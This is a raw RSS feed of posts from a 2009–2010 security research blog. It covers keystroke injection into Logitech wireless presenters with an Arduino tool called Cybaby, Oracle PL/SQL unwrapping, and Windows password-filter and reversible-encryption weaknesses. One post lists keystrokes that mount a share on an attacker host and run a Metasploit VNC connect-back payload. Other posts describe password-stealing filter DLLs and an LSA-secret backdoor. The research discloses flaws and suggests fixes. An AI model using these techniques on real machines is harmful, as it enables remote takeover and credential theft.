&lt;br /&gt;
Another great thing about the Cypress based IC&#39;s is that they support auto-acknowledgements. When you enable this feature and send a packet, you can then simply check a register to see whether an acknowledgement packet was received. This is all handled by the chip so you don&#39;t have to write a lot of code to support it. As the presenters have this feature enabled I figured I could use it to actively scan for presenters&amp;nbsp; (or at least their dongles) in&amp;nbsp; range. By just sending a random single-byte packet (I just use a NULL-byte) on every channel and SOP-code combination I can detect presenters by checking whether any acknowledgements are received. The process of scanning all 1078 combinations takes less than 30 seconds. It could probably be optimised even further as the device probably doesn&#39;t use all 98 channels.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguJwyasXJ-5ZH3h0fajlTYKiSWayO5Q7SUwtkso6cJC7qvUfpOZkPKekPT40IPj0PJieyWj_TsJ8jm2GqCXT3ttVyPw3FbmG0tj1uEACggSOLPSQTArcigc-pXB6n_Eefo40z8asqUQjnq/s1600/presenter.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguJwyasXJ-5ZH3h0fajlTYKiSWayO5Q7SUwtkso6cJC7qvUfpOZkPKekPT40IPj0PJieyWj_TsJ8jm2GqCXT3ttVyPw3FbmG0tj1uEACggSOLPSQTArcigc-pXB6n_Eefo40z8asqUQjnq/s320/presenter.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;The software scanning for devices (and finding both of my presenters)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
After scanning for devices I can then decide to listen for packets or start injecting keystrokes. I don&#39;t own any CYRF6936-based keyboards, but the code would probably work with some of those as well.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Getting a metasploit payload on there&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
So at HITB2010AMS I gave a demo where I would take over the system with the presenter dongle in it by just sending keystrokes to it. I sent these keystrokes:&lt;br /&gt;
&lt;ol style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;li&gt;[Win+R]&lt;/li&gt;
&lt;li&gt;net use X: http://attacker/webdavshare&lt;/li&gt;
&lt;li&gt;X:\VNCconnectback.exe&lt;/li&gt;
&lt;li&gt;[enter]&lt;/li&gt;
&lt;/ol&gt;The second command mounts a WebDAV share (an Apache server with WebDAV enabled) using the Windows WebDAV Mini-Redirector service (a trick often used by the Metasploit framework as well). Then I just execute an executable that&#39;s on the share. The executable was generated with msfpayload. The payload connected back to my machine and spawned a VNC session, allowing me to control the machine remotely.&lt;br /&gt;
&lt;br /&gt;
I mentioned some other options in my talk. A cool one would be to just type the whole executable into debug.exe (a well known &lt;a href=&quot;http://www.owasp.org/index.php/Testing_for_SQL_Server#Example_8:_Upload_of_executables&quot;&gt;trick&lt;/a&gt; to create binary files from plaintext). An easy one would be to just add a user to the system or rickroll the audience (if you&#39;re into that kind of thing).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Why you are at risk if you use a mouse&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Something I noticed is even though the presenters do not contain any mouse-functionality, my system did detect both a keyboard and a mouse when I put the dongle in my PC. This makes sense as the manufacturer only has to build one type of dongle for all input devices: mice, keyboards and mouse/keyboard combinations. This also means that when you&#39;re using a presenter, someone cannot only control your keyboard, but also your mouse movements. This is not such a big deal as an attacker can do pretty much everything with the keyboard and doesn&#39;t need a mouse. But of course this would also work the other way around: if you use a wireless mouse, the dongle that comes with it most likely also supports keyboards. So even though people may not be able to sniff your keystrokes, it will still be possible to send keystrokes to your PC (and execute arbitrary OS commands). If another keyboard appears in your Windows Device Manager when you plug in the dongle of your wireless mouse, you are probably at risk.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Future work?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The Unigen module I used has a range of about 30 feet. &lt;a href=&quot;http://www.unigen.com/product_list.php?pid=15&amp;amp;cid=16&amp;amp;var1=LETO&quot;&gt;Other modules&lt;/a&gt; are available with a range of up to 1KM. Even though active scanning won&#39;t be possible at such a range, simply cycling through all the channels and sending the payload it should be possible to own multiple presenters at a large conference without even being in the audience.&lt;br /&gt;
&lt;br /&gt;
Another Logitech presenter is the&lt;a href=&quot;http://www.logitech.com/en-us/mice-pointers/presentation-remote/devices/5873&quot;&gt; R800&lt;/a&gt;. I didn&#39;t buy that one but the hardware seems to be almost identical to that of the R400, so my software will most likely work with it as well.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How to fix all this?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
So what&#39;s the solution? If you already own a wireless presenter there is very little you can do (apart from accepting the risk and hoping nothing goes wrong). Manufacturers have started to use encryption for wireless keyboards and should start using this for presenters as well (Cypress actually offers encryption sample code). Not encryption mouse movements is probably acceptable, as long as the dongle only support encrypted keystrokes. I am not aware of any presenter that currently uses encryption.&lt;br /&gt;
&lt;br /&gt;
Another option would be to just not allow any other keys than the ones actually on the presenter. Of course this would still allow attackers to send the &#39;next slide&#39; command, but remote code execution shouldn&#39;t be possible. Also, manufacturers would not be able to use one dongle for all their devices anymore.&lt;br /&gt;
&lt;br /&gt;
I&#39;m not sure whether other presenters are vulnerable, but I think it&#39;s pretty likely.&lt;br /&gt;
&lt;br /&gt;
You can find my Arduino code here:&amp;nbsp;&lt;a href=&quot;http://blog.teusink.net/2010/07/cybaby-software-you-can-use-to-hack.html&quot;&gt;http://blog.teusink.net/2010/07/cybaby-software-you-can-use-to-hack.html&lt;/a&gt;</description><link>http://blog.teusink.net/2010/07/hacking-wireless-presenters-with.html</link><author>noreply@blogger.com (Niels Teusink)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcPTzqSL2ttZrfTxLqv6Ent_n_9R0G9J0c_rgeTJydjLcQLz9jIjyPv87sGmv8GbRQ5wcMknWjzPZeRIzN8JFsfZyw1U3Rz6LjxKla1RdOqfJehY5KFaN5q39BULrGeB0ukhgKUTGDleuU/s72-c/presenter.jpg" height="72" width="72"/><thr:total>17</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-1630562859547908110</guid><pubDate>Sun, 04 Jul 2010 12:28:00 +0000</pubDate><atom:updated>2010-07-04T14:28:40.221+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">arduino</category><category domain="http://www.blogger.com/atom/ns#">exploitation</category><category domain="http://www.blogger.com/atom/ns#">hitb</category><category domain="http://www.blogger.com/atom/ns#">presenters</category><title>Cybaby: the software you can use to hack wireless presenters</title><description>I was going to make my code somewhat prettier before releasing it, but as many people where asking for it I decided to release the version I used for the demo. It&#39;s called Cybaby (because my hardware was being a crybaby and I&#39;m too lazy to think of a better name).&lt;br /&gt;
&lt;br /&gt;
Too build the hardware get yourself an Arduino (I tested with the &lt;a href=&quot;http://arduino.cc/en/Main/ArduinoBoardDuemilanove&quot;&gt;Duemillanove&lt;/a&gt; and &lt;a href=&quot;http://arduino.cc/en/Main/ArduinoBoardMega&quot;&gt;Mega&lt;/a&gt;) and a &lt;a href=&quot;http://parts.digikey.com/1/parts/1516486-module-leto-m-6936-3-3v-trace-ugwg4ushn33a.html&quot;&gt;LETO-M&lt;/a&gt; module. Just connect the LETO-M to the SPI interface on the Arduino, but make sure to cut down the voltage to 3.3V (I used a &lt;a href=&quot;http://en.wikipedia.org/wiki/Voltage_divider&quot;&gt;voltage divider&lt;/a&gt; which seems to work OK, but there are &lt;a href=&quot;http://www.sparkfun.com/commerce/tutorial_info.php?tutorials_id=65&quot;&gt;other ways&lt;/a&gt; as well). The LETO-M pins have a 2mm pitch. I soldered a cable to a 2mm connector, but you can also buy &lt;a href=&quot;http://www.seeedstudio.com/depot/4-pin-254mm-to-20mm-female-jumper-wire-100mm-p-403.html&quot;&gt;pre-made cables&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
You can find Cybaby here: &lt;a href=&quot;http://www.teusink.net/cybaby_0.2.tgz&quot;&gt;http://www.teusink.net/cybaby_0.2.tgz&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This version only supports sending packets. A sample session (using the serial console built into the Arduino software):&lt;br /&gt;
&lt;blockquote&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b style=&quot;color: blue;&quot;&gt;&amp;gt; it&lt;/b&gt;&lt;br /&gt;
Init on Arduino Duemillanove&lt;br /&gt;
CYRF TX init&lt;br /&gt;
&lt;b style=&quot;color: blue;&quot;&gt;&amp;gt; q&lt;/b&gt;&lt;br /&gt;
Scanning for devices&lt;br /&gt;
&lt;br /&gt;
Scanning for SOP_CODE 0x0&lt;br /&gt;
Scanning for SOP_CODE 0x1&lt;br /&gt;
Scanning for SOP_CODE 0x2&lt;br /&gt;
Scanning for SOP_CODE 0x3&lt;br /&gt;
Found device on channel: 0x46&lt;br /&gt;
Scanning for SOP_CODE 0x4&lt;br /&gt;
Scanning for SOP_CODE 0x5&lt;br /&gt;
Scanning for SOP_CODE 0x6&lt;br /&gt;
Scanning for SOP_CODE 0x7&lt;br /&gt;
Scanning for SOP_CODE 0x8&lt;br /&gt;
Scanning for SOP_CODE 0x9&lt;br /&gt;
Scanning for SOP_CODE 0xA&lt;br /&gt;
Scan complete!&lt;br /&gt;
&lt;b style=&quot;color: blue;&quot;&gt;&amp;gt; a03&lt;/b&gt;&lt;br /&gt;
Setting SOP_CODE to 0x3&lt;br /&gt;
&lt;b style=&quot;color: blue;&quot;&gt;&amp;gt; c46&lt;/b&gt;&lt;br /&gt;
Set channel to 0x46&lt;br /&gt;
&lt;b style=&quot;color: blue;&quot;&gt;&amp;gt; e454b&lt;/b&gt;&lt;br /&gt;
Sending packet 45 4B... success!&lt;br /&gt;
&lt;b style=&quot;color: blue;&quot;&gt;&amp;gt; e4100&lt;/b&gt;&lt;br /&gt;
Sending packet 41 0... success!&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;
As you can see it&#39;s not that user-friendly right now. The &lt;b style=&quot;color: blue;&quot;&gt;it&lt;/b&gt; command initialises the hardware, you can then use &lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;q&lt;/span&gt;&lt;/b&gt; to start scanning for devices. In this case it found my presenter (an R400 in this case) on SOP code 0x03 and channel 0x46. We have to set those to send packets to it using the &lt;b style=&quot;color: blue;&quot;&gt;a03&lt;/b&gt; (setting the SOP code) and &lt;b style=&quot;color: blue;&quot;&gt;c46&lt;/b&gt; (setting the channel) commands. Then we can send packets using the &lt;b style=&quot;color: blue;&quot;&gt;eXXXX&lt;/b&gt; command (in this case I sent a page-up to the dongle).&lt;br /&gt;
&lt;br /&gt;
Three-byte packets can be sent using the &lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;fXXXXXX&lt;/span&gt;&lt;/b&gt; command. &lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;f451408&lt;/span&gt;&lt;/b&gt; sends Win+R, which should open the Run menu.</description><link>http://blog.teusink.net/2010/07/cybaby-software-you-can-use-to-hack.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-33802069136414733</guid><pubDate>Thu, 13 May 2010 20:03:00 +0000</pubDate><atom:updated>2010-05-13T22:03:44.268+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">arduino</category><category domain="http://www.blogger.com/atom/ns#">hitb</category><category domain="http://www.blogger.com/atom/ns#">presenters</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Presenting at Hack in the Box 2010 - Amsterdam</title><description>The first part of the conference program for &lt;a href=&quot;http://conference.hitb.org/hitbsecconf2010ams/&quot;&gt;HITBSecConf 2010 - Amsterdam&lt;/a&gt; has been &lt;a href=&quot;http://conference.hitb.org/hitbsecconf2010ams/?page_id=24&quot;&gt;announced&lt;/a&gt;. I will be giving a presentation on the security of 2.4GHz wireless presenters. I will be talking about hardware reverse engineering and building an &lt;a href=&quot;http://www.arduino.cc/&quot;&gt;Arduino&lt;/a&gt;-based device to attack these devices. With such a device you can send random keystrokes to someone using such a presenter during a presentation.&lt;br /&gt;
&lt;br /&gt;
You can read the full abstract &lt;a href=&quot;http://conference.hitb.org/hitbsecconf2010ams/?page_id=820&quot;&gt;here&lt;/a&gt;.</description><link>http://blog.teusink.net/2010/05/presenting-at-hack-in-box-2010.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7383889032905377973</guid><pubDate>Fri, 09 Apr 2010 09:07:00 +0000</pubDate><atom:updated>2010-04-14T13:00:46.593+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">oracle</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Unwrapping Oracle PL/SQL with unwrap.py</title><description>The Oracle&amp;nbsp;&lt;a href=&quot;http://download.oracle.com/docs/cd/B28359_01/appdev.111/b28370/wrap.htm&quot; style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;wrap&lt;/a&gt; utility can be used to obfuscate PL/SQL code, to ensure it can&#39;t be easily read. Pete Finnigan described (&lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Finnigan.pdf&quot;&gt;pdf&lt;/a&gt;) the wrapping process for Oracle 9g, but for 10g and 11g it still remains a bit of a mystery. I decided to release my Python unwrapping utility (supports 10g and 11g).&lt;br /&gt;
&lt;br /&gt;
The unwrapping steps for 10g are nicely described in the &lt;a href=&quot;http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470080221.html&quot;&gt;Oracle Hacker&#39;s Handbook&lt;/a&gt;, but the actual substitution table needed to decode the package is omitted. Nobody (as far as I know) has published it. A lot of people seem to know how to do it though, there is even an &lt;a href=&quot;http://hz.codecheck.ch/UnwrapIt/&quot;&gt;online unwrapper&lt;/a&gt; available (and I&#39;m sure everyone seriously involved in Oracle security knows how to do it). A Russian-made closed source tool is also available, but tends to upset virus scanners.&lt;br /&gt;
&lt;br /&gt;
So to save everyone a couple of hours of figuring it out, here it is: &lt;a href=&quot;http://www.teusink.net/unwrap.py&quot;&gt;unwrap.py&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It&#39;s easy to use (I&#39;ve used the wrapped procedure from &lt;a href=&quot;http://www.databasejournal.com/features/oracle/article.php/3382331/Oracles-Wrap-Utility.htm&quot;&gt;this article&lt;/a&gt; as an example):&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;
$ ./unwrap.py wrapped.txt&lt;/b&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;=== Oracle 10g/11g PL/SQL unwrapper - by Niels Teusink - blog.teusink.net ===&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;PROCEDURE WRAP_IT (SEED_IN NUMBER)&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;IS&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp; V_RAND INTEGER;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;BEGIN&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp; DBMS_RANDOM.INITIALIZE (SEED_IN);&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp; FOR I IN 1..5 LOOP&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp;&amp;nbsp; V_RAND := MOD(ABS(DBMS_RANDOM.RANDOM),45);&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp;&amp;nbsp; DBMS_OUTPUT.PUT_LINE(I||&#39;: &#39;||V_RAND);&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;nbsp; END LOOP;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;END;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;&lt;b style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Update:&lt;/b&gt; one excellent resource I forgot to mention is &lt;a href=&quot;http://technology.amis.nl/blog/4753/unwrapping-10g-wrapped-plsql&quot;&gt;this blog post&lt;/a&gt; by Anton Scheffer from Amis. I did not use his code to create my script but he describes how to get the substitution table as well. I also noticed Oracle security expert Pete Finnigan has mentioned my script on &lt;a href=&quot;http://www.petefinnigan.com/weblog/archives/00001318.htm&quot;&gt;his blog&lt;/a&gt; (his older blogpost &lt;a href=&quot;http://www.petefinnigan.com/weblog/archives/00001298.htm&quot;&gt;Unwrapping PL/SQL&lt;/a&gt; is also a good source of information).&lt;/span&gt;</description><link>http://blog.teusink.net/2010/04/unwrapping-oracle-plsql-with-unwrappy.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-3221525387705828098</guid><pubDate>Sun, 06 Sep 2009 22:05:00 +0000</pubDate><atom:updated>2009-09-07T00:29:55.236+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">firefox</category><category domain="http://www.blogger.com/atom/ns#">google</category><category domain="http://www.blogger.com/atom/ns#">greasemonkey</category><title>Greasemonkey script to change Google url?sa=t links to direct links</title><description>Google recently &lt;a href=&quot;http://analytics.blogspot.com/2009/04/upcoming-change-to-googlecom-search.html&quot;&gt;decided&lt;/a&gt; to change the links in Google results from direct links to tracking links. So instead of getting a nice http://blog.teusink.net/ link in your results, you will be getting a http://www.google.com/url?sa=t&amp;amp;source=web&amp;amp;ct=res.. etc link which will redirect you to the correct site.&lt;br /&gt;
&lt;br /&gt;
I was rather annoyed by this as I use Google a lot when pentesting and often like to copy &amp;amp; paste links from the search results. Instead of getting a direct link to a site, I end up with a huge google.com link. So I decided to write a little &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/748&quot;&gt;Greasemonkey&lt;/a&gt; script to fix this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;// ==UserScript==
// @name                Google Direct Links
// @namespace           http://blog.teusink.net/
// @description         Script that changes annoying new-style Google links to direct links
// @include             http://google.tld/search?*
// @include             http://www.google.tld/search?*
// ==/UserScript==

var allElements, thisElement;
allElements = document.evaluate(&#39;//*[@onmousedown]&#39;,document,null,XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,null);
for (var i = 0; i &amp;lt; allElements.snapshotLength; i++) {
 thisElement = allElements.snapshotItem(i);
 if(thisElement.nodeName.toUpperCase() == &#39;A&#39;){
  thisElement.removeAttribute(&#39;onmousedown&#39;);
 }
}
&lt;/pre&gt;This script removes the onmousedown handlers on all links in Google search results. Another way to achieve this is to disable Javascript on these pages. To use the script paste it into a text file, save it as googledirectlinks.user.js, install &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/748&quot;&gt;Greasemonkey&lt;/a&gt; and drag the googledirectlinks.user.js onto a Firefox window (Greasemonkey will prompt you to install the script).&lt;br /&gt;
&lt;br /&gt;
Another nice extension is &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/1093&quot;&gt;Adaptive Referer Remover&lt;/a&gt;. This add-on allows you to remove Referer headers if they contain certain patterns. So I added the following pattern to prevent sites from seeing what Google query I entered to find them (you could add rules for other Google features as well or even block it entirely):&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;^http://www\.google\..*search&lt;/pre&gt;&lt;br /&gt;
This add-on refuses to install if you use Firefox 3.5, but it works fine in that version. You can install the &lt;a href=&quot;http://www.oxymoronical.com/web/firefox/nightly&quot;&gt;Nightly Tester Tools&lt;/a&gt; extension, which enables you to install it anyway (or you could edit the &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/downloads/latest/1093/addon-1093-latest.xpi&quot;&gt;.xpi file&lt;/a&gt; manually).</description><link>http://blog.teusink.net/2009/09/greasemonkey-script-to-change-google.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7494551107285252062</guid><pubDate>Thu, 27 Aug 2009 16:24:00 +0000</pubDate><atom:updated>2009-08-27T18:24:00.718+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">reversible encryption</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><title>Windows password filters</title><description>During my HAR talk, I briefly described the password filter mechanism. A password filter is a DLL that is listed in the registry at &lt;span style=&quot;font-family: courier new;&quot;&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Whenever a user changes his password, Windows passes the plaintext password to all the DLL’s listed there. The password filter can then determine whether the password meets its requirements (complexity, length etc.) and approve or disapprove the password. You can use this feature to implement your own password  filter DLL and enforce your custom company password policy.&lt;br /&gt;&lt;br /&gt;Of course, a password filter could also choose to do something else with the plaintext password. As I described in my &lt;a href=&quot;http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html&quot;&gt;previous blog post&lt;/a&gt;, Microsoft does this with RASSFM.DLL. An attacker could also create his own backdoor password filter that, for example, sends the password to a remote server.&lt;br /&gt;&lt;br /&gt; The procedures you need to implement are quite &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms721882%28VS.85%29.aspx&quot;&gt;well documented&lt;/a&gt; on MSDN. There is even a universal password filter &lt;a href=&quot;http://sourceforge.net/projects/passwdhk/&quot;&gt;available on Sourceforge&lt;/a&gt;. This allows you to pass the password to a custom script.</description><link>http://blog.teusink.net/2009/08/windows-password-filters.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-1557739875391542666</guid><pubDate>Wed, 26 Aug 2009 17:21:00 +0000</pubDate><atom:updated>2009-08-26T19:21:00.834+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">reversible encryption</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><title>Passwords stored using reversible encryption: how it works (part 2)</title><description>In &lt;a href=&quot;http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html&quot;&gt;part one&lt;/a&gt; of this article, I described how the reversible encryption of Windows domain passwords works. In this part, we will look at the security of this mechanism.&lt;br /&gt;&lt;br /&gt;To decrypt the password you need the following components:&lt;br /&gt;-    The encrypted password (G$RADIUSCHAP)&lt;br /&gt;-    The 16 byte random (G$RADIUSCHAPKEY)&lt;br /&gt;-    The global LSA secret (G$MSRADIUSCHAPKEY)&lt;br /&gt;-    A static key hardcoded in RASSFM.DLL&lt;br /&gt;&lt;br /&gt;The hardest thing to get is that global LSA secret. This is stored in active directory and synchronized between domain controllers. To access this key, you need domain administrator privileges. An obvious risk here is that once someone gains domain administrator privileges, he won’t need to crack any passwords, but can simply decrypt them. Of course, if an attacker gains domain administrator privileges on your domain, you are already in big trouble anyway.&lt;br /&gt;However, the other components are all semi-public information. The static key is hardcoded in RASSFM.DLL which comes with every Windows server, so is easy to get. The G$RADIUSCHAP and G$RADIUSCHAPKEY are stored in active directory in the userParameters structure. If you have a user account on a domain you can use AD Explorer to access the Active Directory database and read this information. Of course, to decrypt the password you will still need that LSA secret.&lt;br /&gt;&lt;br /&gt;The encrypted version of the password can be interesting though; by looking at the encrypted password you can derive the length of the plaintext password. Two examples I used in my presentation:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;Pwd1 encrypted:     0f53 8420 9418 05ce 01ad&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;Pwd12 encrypted:    5d69 9375 6f92 1b63 7728 439f &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, by looking at the encrypted passwords you should notice that the encrypted version of Pwd12 is two bytes longer than the encrypted version of Pwd1. So, although we cannot determine from just looking at the encrypted password that they are very similar, we can determine their length. What this means is, that as a domain user, you can determine the length of other people’s passwords, which could be quite interesting.&lt;br /&gt;&lt;br /&gt;If you obtain the LSA secret somehow (maybe because you temporarily gain domain administrator privileges), from that point on you can decrypt passwords stored using reversible encryption. This could be used as a nice backdoor, just steal the LSA secret, enable reversible encryption (if it hasn’t been enabled yet) and you can grab the domain administrator password with just a normal user account.&lt;br /&gt;&lt;br /&gt;Someone in the HAR 2009 audience had a very nice question: Is it possible to recreate the LSA secret if you’re afraid it has been stolen. Of course the better option is to recreate the entire domain, but this is not always an option. To recreate the LSA secret you need to write a program that sets the LSA secret to NULL. According to the documentation, Windows will delete the LSA secret. It will generate a new LSA secret when it needs to encrypt another password. Of course, Windows won’t be able to decrypt the passwords stored before that point anymore. However, it will still try to decrypt them using the new LSA secret, which will result in gibberish most of the time. If you’re really unlucky it could decrypt the first two bytes to NULL, which basically means the password is suddenly empty. So if you ever have to do this, resetting all passwords immediately is probably a good idea.</description><link>http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6985313040628865719</guid><pubDate>Tue, 25 Aug 2009 17:57:00 +0000</pubDate><atom:updated>2009-08-25T20:14:13.590+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><title>HAR 2009 talk references</title><description>I promised to put up some nice ‘further reading’ material for those who have seen my HAR talk. So here it is:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;LM/NTLM&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://support.microsoft.com/kb/299656&quot;&gt;Disabling the LM hash&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.freerainbowtables.com/&quot;&gt;Free Rainbow Tables&lt;/a&gt; and &lt;a href=&quot;http://tbhost.eu/&quot;&gt;download site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Passing the hash&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://www.securityfocus.com/bid/233/discuss&quot;&gt;The original post from 1997 by Paul Ashton&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://oss.coresecurity.com/projects/pshtoolkit.htm&quot;&gt;Core Pass-The-Hash toolkit&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://cgi.tenablesecurity.com/tenable/smbshell.php&quot;&gt;Tenable SMBshell&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Token stealing&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://labs.mwrinfosecurity.com/projectdetail.php?project=4&quot;&gt;Luke Jennings research page&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://carnal0wnage.blogspot.com/2008/05/token-passing-with-incognito.html&quot;&gt;A tutorial on the tool by CG&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can see the video of my talk &lt;a 